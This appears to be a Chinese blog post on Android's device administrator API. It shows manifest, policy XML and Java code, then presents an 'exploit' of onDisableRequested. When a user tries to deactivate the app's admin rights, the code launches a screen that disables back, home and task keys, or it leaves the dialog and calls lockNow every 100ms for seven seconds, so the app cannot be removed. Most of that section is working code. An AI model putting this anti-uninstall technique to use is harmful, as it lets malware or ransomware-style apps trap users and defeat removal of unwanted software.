android设备管理器使用

本文详细介绍了如何在安卓应用中实现设备管理器功能,并利用其进行权限管理。通过配置XML文件及Java代码实现密码管理、锁定及数据擦除等功能。同时展示了如何利用设备管理器的漏洞来创建不可关闭的应用界面。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

关于安卓的设备管理器和设备管理器漏洞的使用

1.先在配置文件中加入
<receiver android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin"
android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
2.用于配置的xml文件my_admin.
<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
        <uses-policies>
                <limit-password />
                <watch-login />
                <reset-password />
                <force-lock />
                <wipe-data />
        </uses-policies>
</device-admin>

3.java代码

public class MyAdmin extends DeviceAdminReceiver {  

    @Override  
    public void onReceive(Context context, Intent intent) {  
        super.onReceive(context, intent);  
        // Intent i = new Intent(context, MainActivity.class);  
        // i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
        // context.startActivity(i);  
        Log.e("autosetting", "receiver onReceive");  
    }  

    /** 
     * 获取设备存储的数值 
     *  
     * @param context 
     * @return 
     */  
    public static SharedPreferences getDevicePreference(Context context) {  
        return context.getSharedPreferences(DeviceMyReceiver.class.getName(), 0);  
    }  

    // 密码的特点  
    public static String PREF_PASSWORD_QUALITY = "password_quality";  
    // 密码的长度  
    public static String PREF_PASSWORD_LENGTH = "password_length";  

    public static String PREF_MAX_FAILED_PW = "max_failed_pw";  

    void showToast(Context context, CharSequence text) {  
        Toast.makeText(context, text, Toast.LENGTH_SHORT).show();  
    }  

    @Override  
    public void onEnabled(Context context, Intent intent) {  
        showToast(context, "设备管理:可用");  
    }  

    @Override  
    public void onDisabled(Context context, Intent intent) {  
        showToast(context, "设备管理:不可用");  
    }  

    @Override  
    public CharSequence onDisableRequested(Context context, Intent intent) {  
        // 这里处理 不可编辑设备。  
        Intent intent2 = new Intent(context, NoticeSetting.class);  
        intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
        context.startActivity(intent2);  
        context.stopService(intent);// 是否可以停止  
        return ""; // "这是一个可选的消息,警告有关禁止用户的请求";  
    }  

    @Override  
    public void onPasswordChanged(Context context, Intent intent) {  
        showToast(context, "设备管理:密码己经改变");  
    }  

    @Override  
    public void onPasswordFailed(Context context, Intent intent) {  
        showToast(context, "设备管理:改变密码失败");  
    }  

    @Override  
    public void onPasswordSucceeded(Context context, Intent intent) {  
        showToast(context, "设备管理:改变密码成功");  
    }  

}  

核心代码为 onDisableRequested方法可以做很作操作。正常情况下是取消勾选时,提示用户一句话。这里 context.stopService(intent);我把设置界面给关了。然后呢 跳转到制定死机界面 NoticeSetting。NoticeSetting界面按键任何都不管用(重写返回键,home键和任务键),只能重启。。

4 MainActivity调用


public class MainActivity extends PreferenceActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.layout);
        ComponentName mDeviceAdminSample = new ComponentName(this, MyAdmin.class);
        Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
        intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
        intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,
                "激活设备管理器");
        startActivity(intent);
    }
}

用组件启动激活设备管理器的程序

进阶漏洞利用

–利用设备管理器的漏洞 重写DeviceAdminReceiver的onDisableRequested 只要用户点击取消启动
onDisableRequested 的locknow 再休眠7秒

public CharSequence onDisableRequested(Context context, Intent intent) {                                            

    //跳离当前询问是否取消激活的 dialog                                                                                          
    Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");             
    outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                                                            
    context.startActivity(outOfDialog);                                                                             

    //调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后                                                                
    final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
    dpm.lockNow();                                                                                                  
    new Thread(new Runnable() {                                                                                     
        @Override                                                                                                   
        public void run() {                                                                                         
            int i = 0;                                                                                              
            while (i < 70) {                                                                                        
                dpm.lockNow();                                                                                      
                try {                                                                                               
                    Thread.sleep(100);                                                                              
                    i++;                                                                                            
                } catch (InterruptedException e) {                                                                  
                    e.printStackTrace();                                                                            
                }                                                                                                   
            }                                                                                                       
        }                                                                                                           
    }).start();                                                                                                     

    return "";                                                                                                      
}

参考:
http://2bab.me/2015/02/09/app-cannot-be-uninstalled/
http://blog.youkuaiyun.com/androidsecurity/article/details/9124747

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值